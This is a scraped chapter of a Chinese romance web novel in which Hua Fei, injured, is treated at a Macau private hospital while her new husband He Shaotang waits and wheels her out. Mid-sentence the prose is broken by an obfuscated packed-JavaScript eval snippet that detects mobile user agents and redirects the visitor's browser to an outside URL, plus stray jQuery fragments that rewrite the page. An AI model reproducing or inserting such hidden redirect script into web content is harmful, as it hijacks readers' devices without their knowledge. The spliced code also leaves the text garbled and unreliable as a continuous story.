第三百八十九章 她居然很乖

作品:《装乖,沈小姐最擅长啦

    华翡最终选择了去医院。


    这件事不宜声张,由贺韶瑭的司机将两人送去。


    一路上两人都没说什么话。


    车子在私立医院的地下车库停好,两人一起下车。


    贺韶瑭在前,华翡在后。


    深夜的停车场格外幽静,贺韶瑭只觉得身后的脚步声越来越远。


    一回头,便看到华翡在自己身后一瘸一拐,小步往前走着。


    停车场的地上有些水迹,应该是不久前有人用洒扫车做过卫生。


    华翡走在他身后,低着头。


    她应该很疼,每一步都很慢,却尽可能把步子迈大,精准踩在他的脚印上——挺孩子气的行为,莫名有点可爱。


    身上还穿着那身燕麦色针织家居服,只在外面加了一件薄外套,头发扎了个低马尾,有一小缕发丝缠在雪白的脖子上。


    整个人看上去很……很乖,楚楚可怜。


    贺韶瑭被自己的念头吓了一跳。


    这个女人上午迎亲路上还砍了无数人的手下来,他居然觉得她可爱,觉得她楚楚可怜,他简直是疯了。


    好在华翡没注意到他。


    摇摇头,把这个念头甩在脑后,贺韶瑭又把头转回去。


    但他下意识地放慢了脚步。


    两人到诊室时,提前在app上约的医生已经在等他们。


    医生看一眼华翡的腿,吃了一惊。


    两人结婚的事澳城人尽皆知,医生叫她贺太太。


    “贺太太,您的腿伤这样严重,居然现在才过来。要是再晚一些,这条腿恐怕就要保不住了。”医生说。


    华翡不信:“哪有这么严重,我今天白天站了一天都什么事儿都没有。”


    医生严肃:“就是因为站了一天,您现在伤口有严重积液,还有感染迹象,要是早点来,不至于这样。”


    “那怎么办?”


    “不要先抽出积液,再清创缝针,输消炎药观察……”


    不等医生说完,华翡已经每个毛孔都在抗拒。


    “我觉得我不用。”她绷着声音说,“我应该只需要正常的消炎和包扎。”


    医生看华翡的神情很是无语,如果不知道她是什么身份,他一定会发火,质问她:“你是医生,我是医生?你要是觉得自己行,来医院干嘛?”


    可她是华翡,医生不敢。


    “这……”医生害怕她,可出于一个医生的职业道德,又不能真听她的,医生看上去真的很难。


    便用求助的眼光看贺韶瑭,“贺先生您看……”


    贺韶瑭站在华翡身后,淡淡开口:“别听她的,就按你说的治。”


    华翡猛地转头看他,说了一句特别没底气的话:“……那是我的腿。”


    如果不是场合不对,贺韶瑭怕是要笑出声来。


    越接触越发现,这女人性格里的反差还挺大的。


    华翡也不想一条腿不保,最终窝窝囊囊地听从了医生的治疗方案。


    护士推了把轮椅过来,让她坐上去,将她推到了处理室。


    之后的每一步,对华翡来说都是煎熬。


    她晕针,看见抽液的针筒就已经要不行了。


    一想到后面还有麻醉,清创,缝合,打消炎药,华翡整个人都不好了。


    贺韶瑭本以为华翡还会像上次打免疫球蛋白那样,需要他在身后。


    毕竟上次他在,她明显好了很多。


    谁知,华翡看了他一眼,却说:“你出去等吧。”


    不是客气,笃定的语气。


    “你确定自己一个人可以?”贺韶瑭挑了下眉,问她。


    华翡轻轻点了一下头:“可以的。”


    她上次打免疫球蛋白的时候已经太狼狈了,这次腿伤的这样严重,只会比上次有过之而无不及。


    人在喜欢的人面前都要强,华翡不想让贺韶瑭再见到她那样难堪的一面。


    贺韶瑭对他的行为表示不理解,但尊重。


    他点点头,去了外面的走廊里。


    处理室的门没有关严,留了一道缝,里面压抑的抽气声和护士轻柔的安抚声断断续续地传出来。


    他能想象到那个女人的样子。


    在迎亲路上,面对数十个持械的男人,刀锋过处,血色弥漫,那女人连眼皮都没多眨一下。


    可现在,一根小小的针头,却能让她溃不成军。


    真是……不可思议。


    之前答应跟她结婚,也是一时冲动,后来后悔过无数次。


    现在转过头来再想想,倒也还不错。


    他从小到大天不怕地不怕,最怕无聊,华


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16787670|172021||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    翡不仅不无聊,简直有意思极了。


    这样想着,贺韶瑭的唇角不自觉地勾起一抹极淡的弧度,连他自己都未曾察觉。


    大概过了有十几分钟,一声极轻却清晰可闻的闷哼从门缝里飘了出来,紧接着是轮椅轮子滚动的声音。


    护士推着华翡出来了。


    她的脸色比刚才还要苍白,唇上毫无血色,额角渗着细密的冷汗。那条受伤的腿已经处理完毕,被纱布严密地包裹着,看不出原来的狰狞。


    整个人都像是被抽走了所有力气,虚脱地靠在轮椅背上,眼睛紧闭着,长而密的睫毛微微颤抖。


    那股楚楚可怜的劲儿又来了,而且比在停车场时更甚。


    一回生二回熟。


    现在贺韶瑭已经习惯了。


    他甚至觉得该记录一下,毕竟这样的神情在她脸上可不多见,以后她也未必肯承认。


    贺韶瑭喉结微动,将视线从她苍白的脸上移开。他走上前,对护士说:“我来吧。”


    护士点点头,将轮椅的推手交给了他。


    贺韶瑭推着轮椅,华翡依旧闭着眼,似乎连睁眼的力气都没有了。


    他刻意放慢了速度,轮椅在安静的走廊里滑行,几乎没有声音。


    “很疼?”他还是没忍住,低声问了一句。


    华免没有立刻回答,过了几秒,才从鼻腔里发出一个微不可闻的音节:“……嗯。”


    声音又轻又软,带着一丝委屈的沙哑,像只刚被雨淋湿的小猫。


    贺韶瑭沉默了。**该说什么。


    安慰吗?他和她似乎还没到那个份上。嘲笑她?又显得自己太过刻薄。


    最终,他只是更放缓了脚步,推着她走向输液室。


    这家医院是澳城收费最高的私人医院,输液室都是小单间。


    标配一张病床,一张陪护床。


    护士说:“贺太太还是躺着吊水吧,时间太长,躺着也舒服些。”


    华翡点点头,就要从轮椅上站起来。


    谁知,她那条的腿没处理的时候还好些,处理完反而又疼又胀,现在想站都有些站不起来。


    华翡下意识想抓住一旁的输液架稳住自己,谁知身形一晃,抓了个空。


    她没有摔倒,一条手臂兜住了她的腰。